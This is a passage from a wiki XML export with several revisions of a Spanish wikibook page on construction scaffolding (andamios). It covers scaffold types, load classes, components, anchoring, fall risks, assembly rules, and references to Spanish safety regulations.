: · Lanza: Viguetas situadas en voladizo sobre el borde de las azoteas. Están estabilizadas bien por un contrapeso o por un anclaje al forjado.

: · Pescante: elemento situado en el tejado del edificio, a modo de grúa.


::: FACTORES DE RIESGO:

: · Caída de la plataforma de trabajo: debida a sobrecarga, inestabilidad, resistencia insuficiente, mal mantenimiento o fallo del dispositivo anti-caídas.
: · Rotura de la plataforma: por resistencia insuficiente (sobrecarga)
: : · Caída de personas: Montaje sin las debidas precauciones, ineficacia de las barandillas, desplazamiento del andamio, colisión con otros objetos.
: · Caídas al mismo nivel: acumulación de objetos.


::: ANCLAJES:

: · A forjado: mediante tornillos pasantes fijados a la cara inferior del forjado y pletinas que distribuyan los esfuerzos al menos entre tres viguetas.
: · Contrapesos: han de ser reglamentarios y estar colocados sobre una base metálica a la que se ancla la cola del pescante. Máximo, 500 kilos por pescante.


::: NORMAS DE MONTAJE:

: · Asegurarse de la estabilidad y resistencia de las superficies de apoyo.
: · Separar el extremo del pescante entre 16 y 90 cm de la fachada para que la plataforma quede entre 10 y 45cm.
: · Anclar los cables de trabajo y de seguridad en las argollas correspondientes de la pluma.
: · Los contrapesos empleados deben ser de construcción sólida, con un coeficiente de seguridad a momento de 3.
: · Los tornos o aparatos portátiles pueden ser a tambor, de adherencia o de mordazas. 
: · Calcular la separación entre pescantes según las solicitaciones y teniendo en cuenta que los cables han de bajar perfectamente paralelos y verticales (si no se coloca bien, el conjunto puede volcar por los esfuerzos horizontales generados)


=== REFERENCIAS Y BIBLIOGRAFÍA ===


: ·ABÁSOLO, Andrés. “Apeos : apeos y grietas en la edificación” Ed. Munilla-Lería, año 1996, ISBN 8449150095

: · “Control de calidad en la edificación” Editado por el Institut de Tecnologia de la Construcció de Catalunya, año 1989. ISBN 84-85954-87-4

: ·NTP-202: Sobre el riesgo de caída de personas a distinto nivel. http://www.mtas.es/insht/ntp/ntp_202.htm

: ·NTP 532: Andamios colgados móviles de accionamiento manual: aparatos de elevación y de maniobra http://www.mtas.es/insht/ntp/ntp_532.htm

: ·NTP 669: Andamios de trabajo prefabricados (I) normas constructivas http://www.mtas.es/insht/ntp/ntp_669.htm

: ·NTP 670: Andamios de trabajo prefabricados (II) montaje y utilización http://www.mtas.es/insht/ntp/ntp_670.htm

: ·REAL DECRETO 1215/1997, de 18 de julio 
.- http://www.clmprevencion.com/pdf/legislacion-normativa-legislacion-vigente/R.D.%201215_1997.pdf
.- http://www.coam.org/pls/portal/docs/PAGE/COAM/COAM_AYUDA_PROFESIONAL/PDF/SS_13-11-2004.pdf 

: ·www.ulmaconstruccion.com

: ·Apuntes de “Construcción, obra gruesa” (Arq.)

: ·Apuntes de “Equipos, instalaciones y medios auxiliares” (Arq. Técnica)</text>
      <sha1>rsiyqoayey2iexul5kgajvivwt4f2w3</sha1>
    </revision>
    <revision>
      <id>430094</id>
      <parentid>430083</parentid>
      <timestamp>2026-08-02T11:20:12Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{En subpáginas}}</comment>
      <origin>430094</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="11561" sha1="pe0778zthcm0axftu1w211p62i3ncpw" xml:space="preserve">{{En subpáginas}}

'''INTRODUCCIÓN'''

Un andamio es una '''estructura auxiliar provisional''' que se emplea en la ejecución de las obras '''para hacer accesible una zona que no lo es''', y así facilitar el paso de personal y la conducción de materiales.

'''REQUERIMIENTOS PARA SU UTILIZACIÓN'''

: - Los andamios deberán proyectarse, montarse y mantenerse de acuerdo con las cargas previstas de uso y según el número de empleados que lo usarán.

: - En función de la complejidad del andamio elegido, deberá elaborarse un '''plan de montaje''', de utilización y de desmontaje.

: - Los andamios '''deberán ser inspeccionados''' antes de su puesta en servicio, a continuación, periódicamente y tras cualquier modificación, período de no utilización, exposición a la intemperie, sacudidas sísmicas, o cualquier circunstancia que hubiera podido afectar a su resistencia o a su estabilidad.

: - Los '''elementos de apoyo''' deberán estar '''protegidos''' contra deslizamiento.

: - En caso de tener que sujetarse a una fachada, deberán disponerse un '''número suficiente de anclajes''' a ella.

: - Para garantizar la estabilidad, el promotor ha de encargar a un técnico competente los documentos técnicos necesarios, el cual será el responsable de la correcta ejecución del mismo.

: - El empleo de equipos individuales de protección vendrá recogido en el documento técnico del andamio.

: - '''En caso de ser prefabricados, deberán estar certificados''' por el fabricante e incluir sus datos técnicos, así como normas de montaje, uso y mantenimiento.

Hay varios tipos, clasificables en cuanto a su envergadura, sus materiales, su construcción, sus elementos, etc. Aquí se analizarán según su capacidad (pequeña o gran envergadura), además de dos casos especiales: los colgados y los móviles.


'''CLASES'''

: 1. Andamios de pequeña envergadura
:: 1.1 Andamios de caballete o asnilla
:: 1.2 Andamios de borriquetas verticales

: 2. Andamios estructurales
:: 2.1 Andamio de borriquetas armadas con bastidores móviles
:: 2.2 Andamios tubulares
::: a) clases según el anclaje
: 3. Andamios móviles
: 4. Andamios colgados (equipo de trabajo)


'''1. ANDAMIOS DE PEQUEÑA ENVERGADURA'''

1.1. De caballete o asnilla:

Están formados por caballetes cada 3’5m (max) y un tablero atado a ellos. No pueden graduarse ni emplearse para grandes alturas. En general, se emplean para interiores.


1.2 De borriquetas verticales:

Tienen la ventaja de ser graduables hasta tres metros. Los soportes son más estables. Si las plataformas de trabajo sobrepasan los 2 metros habrá que incluir barandillas y rodapiés de seguridad. No pueden emplearse montados total o parcialmente sobre andamios colgados o suspendidos, por no ser seguro. También se emplean principalmente en trabajos de interior.


'''2. ANDAMIOS ESTRUCTURALES'''

2.1 De borriquetas armadas con bastidores móviles: 

Pueden alcanzar una altura máxima de 6 metros, para lo que deben incluir los arriostramientos, barandillas y medidas de seguridad. Están formados por un soporte metálico graduable, arriostramientos en forma de cruz de san Andrés por ambos lados, barandillas de 90 cm (mín) y una plataforma metálica o de madera sana.

2.2 Andamios tubulares: 

Es una estructura metálica modular de planos paralelos. En general, su altura máxima es de 30m. Sirven para sustentar las distintas plataformas de trabajo (a distintas alturas), cumpliendo las funciones de: 

: - Servicio: Permitir el trabajo del operario en la plataforma.
: - Protección: Cumplir las normas de seguridad y protección estipuladas.
: - Carga: Han de resistir las cargas propia, de los usuarios y del acopio de materiales. Existen varias clases según su capacidad:

::: · Clase 6: Destinados a trabajos de albañilería pesada, con almacenamiento de materiales (resiste q=75kg/m² y P= 150kg)
::: · Clases 4 y 5: Para trabajos de albañilería, sin acopio de materiales
::: · Clases 2 y 3: Para labores de inspección y trabajos que no impliquen almacenamiento de materiales o pocos de uso inmediato, como pintura.
::: · Clase 1: Para control y trabajos con utillaje ligero. Es similar a la clase dos, pero con reducción de las cargas totales permitidas 


::: CARACTERÍSTICAS: 

: · Resistir cargas puntuales y repartidas.
: · Cumplir las dimensiones mínimas para garantizar la comodidad y seguridad del trabajo.
: · Anchura mínima de las plataformas de 60cm, y resistencia mínima 200kg/m²
: · Habrá que proteger todo el perímetro con barandillas y rodapiés.
: · Necesitan un proyecto para su montaje, mantenimiento, control y desmontaje, en el que se determinen los esfuerzos que ha de resistir, los accesos al mismo, las medidas de seguridad, las protecciones personales y donde se garantice la estabilidad del conjunto.
: · Es muy importante asegurar la base de apoyo, bien sobre la placa base o sobre elementos de reparto si no fuera suficiente. Si el terreno está en desnivel, se emplearán los husillos de nivelación.
: · El arriostramiento se efectuará en puntos resistentes. Se suelen emplear: cruces de san Andrés, diagonal simple, dos barandillas a modo de viga, formar una estructura con las barandillas y los montantes o emplear la 	protección lateral como viga. Además, se dispondrán diagonales horizontales cada 5 m para evitar deformaciones. En el caso de que el andamio no sea autoestable, se arriostrará contra la fachada o la estructura. Para ello, se dispondrán primero de un número suficiente de puntos fuertes que resulten seguros.
: · Los dispositivos de unión o rosetas serán eficaces y fáciles de colocar y bloquear.
: · El fabricante deberá suministra las características técnicas de todos los componentes y elementos complementarios, así como el modo de proceder al montaje.


::: COMPONENTES:


::: CLASES:

Por último, respecto de las clases de andamios, son bastante similares entre sí. La diferencia es el anclaje entre las piezas, patente de cada casa comercial:

: · '''Sistema de rosetas: Casa “Peri” modelo “Up Rosett”'''. Tienen el inconveniente de que el anclaje entra en contacto con el tubo y que sólo pueden colocarse según los ejes cartesianos, por lo que no resuelven fachadas complicadas o curvas.

: · '''Sistema: Casa “Layher” modelo “Allround”'''. El anclaje no toca el tubo y pueden disponerse las fijaciones con más libertad alrededor del mismo. El inconveniente grave es que los operarios tienden a emplear estos anclajes como escalas para trepar.

: · '''Sistema: Casa “In” modelo “Crab”'''. Es el modelo más moderno y de mayor seguridad que pone en contacto tubo y anclaje (la chaveta bascula automáticamente, garantizando una fijación instantánea entre vertical y horizontal)presenta las mismas ventajas que el sistema de rosetas.

: · '''Sistema: Casa “RMD” modelo “Rapid Stage”'''. El anclaje no toca el tubo y pueden disponerse las fijaciones con más libertad alrededor.


'''3. ANDAMIOS MÓVILES'''

: · Tienen ruedas de goma o acero en vez de las placas base. Éstas han de incluir algún sistema antibloqueo para cuando se están utilizando.
: · La carga del andamio se limitará a 800 kg por rueda si ésta es de acero, y 250 kg si es de goma.
: · Los husillos se sustituyen por unos fijos de un metro.
: · Además de todas las medidas de seguridad de los fijos, han de incluir tubos diagonales dobles en la parte de la base, alternando el sentido de colocación, para garantizar su indeformabilidad.
: · La estabilidad se determinará dividiendo la altura total del andamio entre su lado corto. Ésta no podrá exceder de 4 (en los fijos es 5)


'''4. ANDAMIOS COLGADOS'''

Son los constituidos por una plataforma suspendida mediante un cable de varios puntos fijos. Sólo se desplaza verticalmente, gracias al accionamiento manual de los mecanismos dispuestos en la plataforma.


::: COMPONENTES:

: · Plataforma: De chapa galvanizada antideslizante. Es donde está el operario.
: · Cable o sirga: Elemento auxiliar de acero que sujeta la plataforma.
: · Pescante: Elemento situado en el tejado del edificio (generalmente se equilibra con contrapesos). De él se descuelgan los cables que sujentan la plataforma.
: · Torno: Aparato anclado en la plataforma, que lleva el mecanismo que la mueve y la fija a lo largo del cable. Lleva asimismo un segundo cable de seguridad.


::: DISPOSITIVOS DE SUSPENSIÓN:

: · Cabria: utilizadas para los andamios móviles en trabajos de revoco de fachadas de edificios con cubierta inclinada.

: · Lanza: Viguetas situadas en voladizo sobre el borde de las azoteas. Están estabilizadas bien por un contrapeso o por un anclaje al forjado.

: · Pescante: elemento situado en el tejado del edificio, a modo de grúa.


::: FACTORES DE RIESGO:

: · Caída de la plataforma de trabajo: debida a sobrecarga, inestabilidad, resistencia insuficiente, mal mantenimiento o fallo del dispositivo anti-caídas.
: · Rotura de la plataforma: por resistencia insuficiente (sobrecarga)
: : · Caída de personas: Montaje sin las debidas precauciones, ineficacia de las barandillas, desplazamiento del andamio, colisión con otros objetos.
: · Caídas al mismo nivel: acumulación de objetos.


::: ANCLAJES:

: · A forjado: mediante tornillos pasantes fijados a la cara inferior del forjado y pletinas que distribuyan los esfuerzos al menos entre tres viguetas.
: · Contrapesos: han de ser reglamentarios y estar colocados sobre una base metálica a la que se ancla la cola del pescante. Máximo, 500 kilos por pescante.


::: NORMAS DE MONTAJE:

: · Asegurarse de la estabilidad y resistencia de las superficies de apoyo.
: · Separar el extremo del pescante entre 16 y 90 cm de la fachada para que la plataforma quede entre 10 y 45cm.
: · Anclar los cables de trabajo y de seguridad en las argollas correspondientes de la pluma.
: · Los contrapesos empleados deben ser de construcción sólida, con un coeficiente de seguridad a momento de 3.
: · Los tornos o aparatos portátiles pueden ser a tambor, de adherencia o de mordazas. 
: · Calcular la separación entre pescantes según las solicitaciones y teniendo en cuenta que los cables han de bajar perfectamente paralelos y verticales (si no se coloca bien, el conjunto puede volcar por los esfuerzos horizontales generados)


=== REFERENCIAS Y BIBLIOGRAFÍA ===


: ·ABÁSOLO, Andrés. “Apeos : apeos y grietas en la edificación” Ed. Munilla-Lería, año 1996, ISBN 8449150095

: · “Control de calidad en la edificación” Editado por el Institut de Tecnologia de la Construcció de Catalunya, año 1989. ISBN 84-85954-87-4

: ·NTP-202: Sobre el riesgo de caída de personas a distinto nivel. http://www.mtas.es/insht/ntp/ntp_202.htm

: ·NTP 532: Andamios colgados móviles de accionamiento manual: aparatos de elevación y de maniobra http://www.mtas.es/insht/ntp/ntp_532.htm

: ·NTP 669: Andamios de trabajo prefabricados (I) normas constructivas http://www.mtas.es/insht/ntp/ntp_669.htm

: ·NTP 670: Andamios de trabajo prefabricados (II) montaje y utilización http://www.mtas.es/insht/ntp/ntp_670.htm

: ·REAL DECRETO 1215/1997, de 18 de julio 
.- http://www.clmprevencion.com/pdf/legislacion-normativa-legislacion-vigente/R.D.%201215_1997.pdf
.- http://www.coam.org/pls/portal/docs/PAGE/COAM/COAM_AYUDA_PROFESIONAL/PDF/SS_13-11-2004.pdf 

: ·www.ulmaconstruccion.com

: ·Apuntes de “Construcción, obra gruesa” (Arq.)

: ·Apuntes de “Equipos, instalaciones y medios auxiliares” (Arq. Técnica)</text>
      <sha1>pe0778zthcm0axftu1w211p62i3ncpw</sha1>
    </revision>
    <revision>
      <id>430095</id>
      <parentid>430094</parentid>
      <timestamp>2026-08-02T11:23:29Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430095</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="11847" sha1="emychx21kn5vt3s96ov9vn25375pcsd" xml:space="preserve">{{En subpáginas}}
* [[Patología de la edificación/Andamios/Introducción]]
* [[Patología de la edificación/Andamios/Requerimientos]]
* [[Patología de la edificación/Andamios/Clases]]
* [[Patología de la edificación/Andamios/Componentes]]
* [[Patología de la edificación/Andamios/Bibliografía]]
'''INTRODUCCIÓN'''

Un andamio es una '''estructura auxiliar provisional''' que se emplea en la ejecución de las obras '''para hacer accesible una zona que no lo es''', y así facilitar el paso de personal y la conducción de materiales.

'''REQUERIMIENTOS PARA SU UTILIZACIÓN'''

: - Los andamios deberán proyectarse, montarse y mantenerse de acuerdo con las cargas previstas de uso y según el número de empleados que lo usarán.

: - En función de la complejidad del andamio elegido, deberá elaborarse un '''plan de montaje''', de utilización y de desmontaje.

: - Los andamios '''deberán ser inspeccionados''' antes de su puesta en servicio, a continuación, periódicamente y tras cualquier modificación, período de no utilización, exposición a la intemperie, sacudidas sísmicas, o cualquier circunstancia que hubiera podido afectar a su resistencia o a su estabilidad.

: - Los '''elementos de apoyo''' deberán estar '''protegidos''' contra deslizamiento.

: - En caso de tener que sujetarse a una fachada, deberán disponerse un '''número suficiente de anclajes''' a ella.

: - Para garantizar la estabilidad, el promotor ha de encargar a un técnico competente los documentos técnicos necesarios, el cual será el responsable de la correcta ejecución del mismo.

: - El empleo de equipos individuales de protección vendrá recogido en el documento técnico del andamio.

: - '''En caso de ser prefabricados, deberán estar certificados''' por el fabricante e incluir sus datos técnicos, así como normas de montaje, uso y mantenimiento.

Hay varios tipos, clasificables en cuanto a su envergadura, sus materiales, su construcción, sus elementos, etc. Aquí se analizarán según su capacidad (pequeña o gran envergadura), además de dos casos especiales: los colgados y los móviles.


'''CLASES'''

: 1. Andamios de pequeña envergadura
:: 1.1 Andamios de caballete o asnilla
:: 1.2 Andamios de borriquetas verticales

: 2. Andamios estructurales
:: 2.1 Andamio de borriquetas armadas con bastidores móviles
:: 2.2 Andamios tubulares
::: a) clases según el anclaje
: 3. Andamios móviles
: 4. Andamios colgados (equipo de trabajo)


'''1. ANDAMIOS DE PEQUEÑA ENVERGADURA'''

1.1. De caballete o asnilla:

Están formados por caballetes cada 3’5m (max) y un tablero atado a ellos. No pueden graduarse ni emplearse para grandes alturas. En general, se emplean para interiores.


1.2 De borriquetas verticales:

Tienen la ventaja de ser graduables hasta tres metros. Los soportes son más estables. Si las plataformas de trabajo sobrepasan los 2 metros habrá que incluir barandillas y rodapiés de seguridad. No pueden emplearse montados total o parcialmente sobre andamios colgados o suspendidos, por no ser seguro. También se emplean principalmente en trabajos de interior.


'''2. ANDAMIOS ESTRUCTURALES'''

2.1 De borriquetas armadas con bastidores móviles: 

Pueden alcanzar una altura máxima de 6 metros, para lo que deben incluir los arriostramientos, barandillas y medidas de seguridad. Están formados por un soporte metálico graduable, arriostramientos en forma de cruz de san Andrés por ambos lados, barandillas de 90 cm (mín) y una plataforma metálica o de madera sana.

2.2 Andamios tubulares: 

Es una estructura metálica modular de planos paralelos. En general, su altura máxima es de 30m. Sirven para sustentar las distintas plataformas de trabajo (a distintas alturas), cumpliendo las funciones de: 

: - Servicio: Permitir el trabajo del operario en la plataforma.
: - Protección: Cumplir las normas de seguridad y protección estipuladas.
: - Carga: Han de resistir las cargas propia, de los usuarios y del acopio de materiales. Existen varias clases según su capacidad:

::: · Clase 6: Destinados a trabajos de albañilería pesada, con almacenamiento de materiales (resiste q=75kg/m² y P= 150kg)
::: · Clases 4 y 5: Para trabajos de albañilería, sin acopio de materiales
::: · Clases 2 y 3: Para labores de inspección y trabajos que no impliquen almacenamiento de materiales o pocos de uso inmediato, como pintura.
::: · Clase 1: Para control y trabajos con utillaje ligero. Es similar a la clase dos, pero con reducción de las cargas totales permitidas 


::: CARACTERÍSTICAS: 

: · Resistir cargas puntuales y repartidas.
: · Cumplir las dimensiones mínimas para garantizar la comodidad y seguridad del trabajo.
: · Anchura mínima de las plataformas de 60cm, y resistencia mínima 200kg/m²
: · Habrá que proteger todo el perímetro con barandillas y rodapiés.
: · Necesitan un proyecto para su montaje, mantenimiento, control y desmontaje, en el que se determinen los esfuerzos que ha de resistir, los accesos al mismo, las medidas de seguridad, las protecciones personales y donde se garantice la estabilidad del conjunto.
: · Es muy importante asegurar la base de apoyo, bien sobre la placa base o sobre elementos de reparto si no fuera suficiente. Si el terreno está en desnivel, se emplearán los husillos de nivelación.
: · El arriostramiento se efectuará en puntos resistentes. Se suelen emplear: cruces de san Andrés, diagonal simple, dos barandillas a modo de viga, formar una estructura con las barandillas y los montantes o emplear la 	protección lateral como viga. Además, se dispondrán diagonales horizontales cada 5 m para evitar deformaciones. En el caso de que el andamio no sea autoestable, se arriostrará contra la fachada o la estructura. Para ello, se dispondrán primero de un número suficiente de puntos fuertes que resulten seguros.
: · Los dispositivos de unión o rosetas serán eficaces y fáciles de colocar y bloquear.
: · El fabricante deberá suministra las características técnicas de todos los componentes y elementos complementarios, así como el modo de proceder al montaje.


::: COMPONENTES:


::: CLASES:

Por último, respecto de las clases de andamios, son bastante similares entre sí. La diferencia es el anclaje entre las piezas, patente de cada casa comercial:

: · '''Sistema de rosetas: Casa “Peri” modelo “Up Rosett”'''. Tienen el inconveniente de que el anclaje entra en contacto con el tubo y que sólo pueden colocarse según los ejes cartesianos, por lo que no resuelven fachadas complicadas o curvas.

: · '''Sistema: Casa “Layher” modelo “Allround”'''. El anclaje no toca el tubo y pueden disponerse las fijaciones con más libertad alrededor del mismo. El inconveniente grave es que los operarios tienden a emplear estos anclajes como escalas para trepar.

: · '''Sistema: Casa “In” modelo “Crab”'''. Es el modelo más moderno y de mayor seguridad que pone en contacto tubo y anclaje (la chaveta bascula automáticamente, garantizando una fijación instantánea entre vertical y horizontal)presenta las mismas ventajas que el sistema de rosetas.

: · '''Sistema: Casa “RMD” modelo “Rapid Stage”'''. El anclaje no toca el tubo y pueden disponerse las fijaciones con más libertad alrededor.


'''3. ANDAMIOS MÓVILES'''

: · Tienen ruedas de goma o acero en vez de las placas base. Éstas han de incluir algún sistema antibloqueo para cuando se están utilizando.
: · La carga del andamio se limitará a 800 kg por rueda si ésta es de acero, y 250 kg si es de goma.
: · Los husillos se sustituyen por unos fijos de un metro.
: · Además de todas las medidas de seguridad de los fijos, han de incluir tubos diagonales dobles en la parte de la base, alternando el sentido de colocación, para garantizar su indeformabilidad.
: · La estabilidad se determinará dividiendo la altura total del andamio entre su lado corto. Ésta no podrá exceder de 4 (en los fijos es 5)


'''4. ANDAMIOS COLGADOS'''

Son los constituidos por una plataforma suspendida mediante un cable de varios puntos fijos. Sólo se desplaza verticalmente, gracias al accionamiento manual de los mecanismos dispuestos en la plataforma.


::: COMPONENTES:

: · Plataforma: De chapa galvanizada antideslizante. Es donde está el operario.
: · Cable o sirga: Elemento auxiliar de acero que sujeta la plataforma.
: · Pescante: Elemento situado en el tejado del edificio (generalmente se equilibra con contrapesos). De él se descuelgan los cables que sujentan la plataforma.
: · Torno: Aparato anclado en la plataforma, que lleva el mecanismo que la mueve y la fija a lo largo del cable. Lleva asimismo un segundo cable de seguridad.


::: DISPOSITIVOS DE SUSPENSIÓN:

: · Cabria: utilizadas para los andamios móviles en trabajos de revoco de fachadas de edificios con cubierta inclinada.

: · Lanza: Viguetas situadas en voladizo sobre el borde de las azoteas. Están estabilizadas bien por un contrapeso o por un anclaje al forjado.

: · Pescante: elemento situado en el tejado del edificio, a modo de grúa.


::: FACTORES DE RIESGO:

: · Caída de la plataforma de trabajo: debida a sobrecarga, inestabilidad, resistencia insuficiente, mal mantenimiento o fallo del dispositivo anti-caídas.
: · Rotura de la plataforma: por resistencia insuficiente (sobrecarga)
: : · Caída de personas: Montaje sin las debidas precauciones, ineficacia de las barandillas, desplazamiento del andamio, colisión con otros objetos.
: · Caídas al mismo nivel: acumulación de objetos.


::: ANCLAJES:

: · A forjado: mediante tornillos pasantes fijados a la cara inferior del forjado y pletinas que distribuyan los esfuerzos al menos entre tres viguetas.
: · Contrapesos: han de ser reglamentarios y estar colocados sobre una base metálica a la que se ancla la cola del pescante. Máximo, 500 kilos por pescante.


::: NORMAS DE MONTAJE:

: · Asegurarse de la estabilidad y resistencia de las superficies de apoyo.
: · Separar el extremo del pescante entre 16 y 90 cm de la fachada para que la plataforma quede entre 10 y 45cm.
: · Anclar los cables de trabajo y de seguridad en las argollas correspondientes de la pluma.
: · Los contrapesos empleados deben ser de construcción sólida, con un coeficiente de seguridad a momento de 3.
: · Los tornos o aparatos portátiles pueden ser a tambor, de adherencia o de mordazas. 
: · Calcular la separación entre pescantes según las solicitaciones y teniendo en cuenta que los cables han de bajar perfectamente paralelos y verticales (si no se coloca bien, el conjunto puede volcar por los esfuerzos horizontales generados)


=== REFERENCIAS Y BIBLIOGRAFÍA ===


: ·ABÁSOLO, Andrés. “Apeos : apeos y grietas en la edificación” Ed. Munilla-Lería, año 1996, ISBN 8449150095

: · “Control de calidad en la edificación” Editado por el Institut de Tecnologia de la Construcció de Catalunya, año 1989. ISBN 84-85954-87-4

: ·NTP-202: Sobre el riesgo de caída de personas a distinto nivel. http://www.mtas.es/insht/ntp/ntp_202.htm

: ·NTP 532: Andamios colgados móviles de accionamiento manual: aparatos de elevación y de maniobra http://www.mtas.es/insht/ntp/ntp_532.htm

: ·NTP 669: Andamios de trabajo prefabricados (I) normas constructivas http://www.mtas.es/insht/ntp/ntp_669.htm

: ·NTP 670: Andamios de trabajo prefabricados (II) montaje y utilización http://www.mtas.es/insht/ntp/ntp_670.htm

: ·REAL DECRETO 1215/1997, de 18 de julio 
.- http://www.clmprevencion.com/pdf/legislacion-normativa-legislacion-vigente/R.D.%201215_1997.pdf
.- http://www.coam.org/pls/portal/docs/PAGE/COAM/COAM_AYUDA_PROFESIONAL/PDF/SS_13-11-2004.pdf 

: ·www.ulmaconstruccion.com

: ·Apuntes de “Construcción, obra gruesa” (Arq.)

: ·Apuntes de “Equipos, instalaciones y medios auxiliares” (Arq. Técnica)</text>
      <sha1>emychx21kn5vt3s96ov9vn25375pcsd</sha1>
    </revision>
    <revision>
      <id>430100</id>
      <parentid>430095</parentid>
      <timestamp>2026-08-02T11:25:32Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Separando secciones de libro</comment>
      <origin>430100</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="10033" sha1="abjt1acoxebnuopjuw0b1m659p914te" xml:space="preserve">{{En subpáginas}}
* [[Patología de la edificación/Andamios/Introducción]]
* [[Patología de la edificación/Andamios/Requerimientos]]
* [[Patología de la edificación/Andamios/Clases]]
* [[Patología de la edificación/Andamios/Componentes]]
* [[Patología de la edificación/Andamios/Bibliografía]]


'''CLASES'''

: 1. Andamios de pequeña envergadura
:: 1.1 Andamios de caballete o asnilla
:: 1.2 Andamios de borriquetas verticales

: 2. Andamios estructurales
:: 2.1 Andamio de borriquetas armadas con bastidores móviles
:: 2.2 Andamios tubulares
::: a) clases según el anclaje
: 3. Andamios móviles
: 4. Andamios colgados (equipo de trabajo)


'''1. ANDAMIOS DE PEQUEÑA ENVERGADURA'''

1.1. De caballete o asnilla:

Están formados por caballetes cada 3’5m (max) y un tablero atado a ellos. No pueden graduarse ni emplearse para grandes alturas. En general, se emplean para interiores.


1.2 De borriquetas verticales:

Tienen la ventaja de ser graduables hasta tres metros. Los soportes son más estables. Si las plataformas de trabajo sobrepasan los 2 metros habrá que incluir barandillas y rodapiés de seguridad. No pueden emplearse montados total o parcialmente sobre andamios colgados o suspendidos, por no ser seguro. También se emplean principalmente en trabajos de interior.


'''2. ANDAMIOS ESTRUCTURALES'''

2.1 De borriquetas armadas con bastidores móviles: 

Pueden alcanzar una altura máxima de 6 metros, para lo que deben incluir los arriostramientos, barandillas y medidas de seguridad. Están formados por un soporte metálico graduable, arriostramientos en forma de cruz de san Andrés por ambos lados, barandillas de 90 cm (mín) y una plataforma metálica o de madera sana.

2.2 Andamios tubulares: 

Es una estructura metálica modular de planos paralelos. En general, su altura máxima es de 30m. Sirven para sustentar las distintas plataformas de trabajo (a distintas alturas), cumpliendo las funciones de: 

: - Servicio: Permitir el trabajo del operario en la plataforma.
: - Protección: Cumplir las normas de seguridad y protección estipuladas.
: - Carga: Han de resistir las cargas propia, de los usuarios y del acopio de materiales. Existen varias clases según su capacidad:

::: · Clase 6: Destinados a trabajos de albañilería pesada, con almacenamiento de materiales (resiste q=75kg/m² y P= 150kg)
::: · Clases 4 y 5: Para trabajos de albañilería, sin acopio de materiales
::: · Clases 2 y 3: Para labores de inspección y trabajos que no impliquen almacenamiento de materiales o pocos de uso inmediato, como pintura.
::: · Clase 1: Para control y trabajos con utillaje ligero. Es similar a la clase dos, pero con reducción de las cargas totales permitidas 


::: CARACTERÍSTICAS: 

: · Resistir cargas puntuales y repartidas.
: · Cumplir las dimensiones mínimas para garantizar la comodidad y seguridad del trabajo.
: · Anchura mínima de las plataformas de 60cm, y resistencia mínima 200kg/m²
: · Habrá que proteger todo el perímetro con barandillas y rodapiés.
: · Necesitan un proyecto para su montaje, mantenimiento, control y desmontaje, en el que se determinen los esfuerzos que ha de resistir, los accesos al mismo, las medidas de seguridad, las protecciones personales y donde se garantice la estabilidad del conjunto.
: · Es muy importante asegurar la base de apoyo, bien sobre la placa base o sobre elementos de reparto si no fuera suficiente. Si el terreno está en desnivel, se emplearán los husillos de nivelación.
: · El arriostramiento se efectuará en puntos resistentes. Se suelen emplear: cruces de san Andrés, diagonal simple, dos barandillas a modo de viga, formar una estructura con las barandillas y los montantes o emplear la 	protección lateral como viga. Además, se dispondrán diagonales horizontales cada 5 m para evitar deformaciones. En el caso de que el andamio no sea autoestable, se arriostrará contra la fachada o la estructura. Para ello, se dispondrán primero de un número suficiente de puntos fuertes que resulten seguros.
: · Los dispositivos de unión o rosetas serán eficaces y fáciles de colocar y bloquear.
: · El fabricante deberá suministra las características técnicas de todos los componentes y elementos complementarios, así como el modo de proceder al montaje.


::: COMPONENTES:


::: CLASES:

Por último, respecto de las clases de andamios, son bastante similares entre sí. La diferencia es el anclaje entre las piezas, patente de cada casa comercial:

: · '''Sistema de rosetas: Casa “Peri” modelo “Up Rosett”'''. Tienen el inconveniente de que el anclaje entra en contacto con el tubo y que sólo pueden colocarse según los ejes cartesianos, por lo que no resuelven fachadas complicadas o curvas.

: · '''Sistema: Casa “Layher” modelo “Allround”'''. El anclaje no toca el tubo y pueden disponerse las fijaciones con más libertad alrededor del mismo. El inconveniente grave es que los operarios tienden a emplear estos anclajes como escalas para trepar.

: · '''Sistema: Casa “In” modelo “Crab”'''. Es el modelo más moderno y de mayor seguridad que pone en contacto tubo y anclaje (la chaveta bascula automáticamente, garantizando una fijación instantánea entre vertical y horizontal)presenta las mismas ventajas que el sistema de rosetas.

: · '''Sistema: Casa “RMD” modelo “Rapid Stage”'''. El anclaje no toca el tubo y pueden disponerse las fijaciones con más libertad alrededor.


'''3. ANDAMIOS MÓVILES'''

: · Tienen ruedas de goma o acero en vez de las placas base. Éstas han de incluir algún sistema antibloqueo para cuando se están utilizando.
: · La carga del andamio se limitará a 800 kg por rueda si ésta es de acero, y 250 kg si es de goma.
: · Los husillos se sustituyen por unos fijos de un metro.
: · Además de todas las medidas de seguridad de los fijos, han de incluir tubos diagonales dobles en la parte de la base, alternando el sentido de colocación, para garantizar su indeformabilidad.
: · La estabilidad se determinará dividiendo la altura total del andamio entre su lado corto. Ésta no podrá exceder de 4 (en los fijos es 5)


'''4. ANDAMIOS COLGADOS'''

Son los constituidos por una plataforma suspendida mediante un cable de varios puntos fijos. Sólo se desplaza verticalmente, gracias al accionamiento manual de los mecanismos dispuestos en la plataforma.


::: COMPONENTES:

: · Plataforma: De chapa galvanizada antideslizante. Es donde está el operario.
: · Cable o sirga: Elemento auxiliar de acero que sujeta la plataforma.
: · Pescante: Elemento situado en el tejado del edificio (generalmente se equilibra con contrapesos). De él se descuelgan los cables que sujentan la plataforma.
: · Torno: Aparato anclado en la plataforma, que lleva el mecanismo que la mueve y la fija a lo largo del cable. Lleva asimismo un segundo cable de seguridad.


::: DISPOSITIVOS DE SUSPENSIÓN:

: · Cabria: utilizadas para los andamios móviles en trabajos de revoco de fachadas de edificios con cubierta inclinada.

: · Lanza: Viguetas situadas en voladizo sobre el borde de las azoteas. Están estabilizadas bien por un contrapeso o por un anclaje al forjado.

: · Pescante: elemento situado en el tejado del edificio, a modo de grúa.


::: FACTORES DE RIESGO:

